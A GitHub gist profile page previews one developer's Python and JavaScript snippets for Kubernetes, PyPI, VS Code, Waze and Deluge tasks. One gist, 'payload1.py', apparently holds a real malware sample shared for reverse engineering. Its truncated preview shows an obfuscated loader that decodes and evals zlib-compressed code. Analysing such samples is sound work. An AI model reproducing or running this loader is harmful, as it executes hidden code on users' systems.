Skip to content

Instantly share code, notes, and snippets.

View jossef's full-sized avatar
🌶️

Jossef Harush Kadouri jossef

🌶️
View GitHub Profile
@jossef
jossef / force-delete-k8s-namespace.py
Created August 13, 2020 12:50
force delete k8s namespace
#!/usr/bin/env python3
import atexit
import json
import requests
import subprocess
import sys
namespace = sys.argv[1]
proxy_process = subprocess.Popen(['kubectl', 'proxy'])
atexit.register(proxy_process.kill)
@jossef
jossef / utils.py
Created May 24, 2016 07:09
python different ways to import external modules (from cdn / memory string / file path / plugin directory)
import imp
import importlib
import inspect
import glob
import requests
import os
def import_from_string(content, module_name, file_name=None):
if not file_name:
file_name = '{0}.py'.format(module_name)
@jossef
jossef / get_pypi_events.py
Last active March 28, 2024 09:29
script to get pypi package events (last 100k)
import datetime
import xmlrpc.client
import csv
client = xmlrpc.client.ServerProxy('https://pypi.org/pypi')
serial = client.changelog_last_serial()
serial = serial - 50000
events = client.changelog_since_serial(serial)
with open('events.csv', 'w+', newline='') as csvfile:
csvwriter = csv.writer(csvfile)
@jossef
jossef / main.py
Created August 28, 2023 12:04
vscode marketplace api list all extensions + download artifacts
import requests
from requests.adapters import HTTPAdapter, Retry
def get_vscode_extensions(max_page=10000, page_size=100,
include_versions=True, include_files=True, include_category_and_tags=True, include_shared_accounts=True, include_version_properties=True,
exclude_non_validated=False, include_installation_targets=True, include_asset_uri=True, include_statistics=True,
include_latest_version_only=False, unpublished=False, include_name_conflict_info=True, api_version='7.2-preview.1', session=None):
if not session:
session = requests.session()
@jossef
jossef / sample_waze_police_coordinates.py
Last active January 5, 2024 12:07
python script that samples Waze's reported police coordinates and log them with a timestamp
#!/usr/bin/env python3
import json
import datetime
import requests
def get_police_coordinates_from_waze():
headers = {
"referer": "https://www.waze.com/livemap",
@jossef
jossef / payload1.py
Last active December 28, 2023 07:45
Malware code - Reverse engineering session Python malware 2022-11-13
from builtins import *;wxxwxwwxxxxwwxwwwwww,jijiilliljiilljijjiijl,S222SS2S22S222SSSSS,SSS222S222222SS2SS2S,mmmmnmnnmnmnnnmmnmmnmmn=(lambda lIlIlIlllIIlIIllIllIIlll:lIlIlIlllIIlIIllIllIIlll(__import__('\x7a\x6c\x69\x62'))),(lambda lIlIlIlllIIlIIllIllIIlll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(lIlIlIlllIIlIIllIllIIlll)"),filename='\x6a\x6c\x6c\x69\x69\x6c\x6a\x6a\x6c\x69\x6c\x6c\x6c\x6c\x6a\x6a\x69\x6c\x69\x6c\x69\x6a\x6c\x69\x6c',mode='\x65\x76\x61\x6c'))),(lambda lIlIlIlllIIlIIllIllIIlll:lIlIlIlllIIlIIllIllIIlll['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda wxxxwxwxxxwxxwwxwxwxxxxxw,lIlIlIlllIIlIIllIllIIlll:wxxxwxwxxxwxxwwxwxwxxxxxw(lIlIlIlllIIlIIllIllIIlll)),(lambda:(lambda lIlIlIlllIIlIIllIllIIlll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x
@jossef
jossef / deluge-add-torrent.py
Created October 13, 2023 01:00
add torrent to deluge rest api python script
import requests
import os
import sys
BASE_URL = 'http://10.0.1.100:49155/'
DELUGE_PASSWORD = os.environ.get('DELUGE_PASSWORD', 'deluge')
REQUEST_ID = 0
@jossef
jossef / publish-drafts.js
Created January 28, 2023 21:40
a fork of niedzwiedzw/youtube-publish-drafts
(() => {
const MODE = 'publish_drafts';
const DEBUG_MODE = true;
const MADE_FOR_KIDS = false;
const VISIBILITY = 'Unlisted';
const SORTING_KEY = (one, other) => {
return one.name.localeCompare(other.name, undefined, {numeric: true, sensitivity: 'base'});
};
const TIMEOUT_STEP_MS = 20;
const DEFAULT_ELEMENT_TIMEOUT_MS = 10000;
@jossef
jossef / killa
Last active July 6, 2023 08:29
python kill process by port
#!/usr/bin/env python
import subprocess
import sys
import re
import os
def get_pids(port):
command = "sudo lsof -i :%s | awk '{print $2}'" % port
pids = subprocess.check_output(command, shell=True)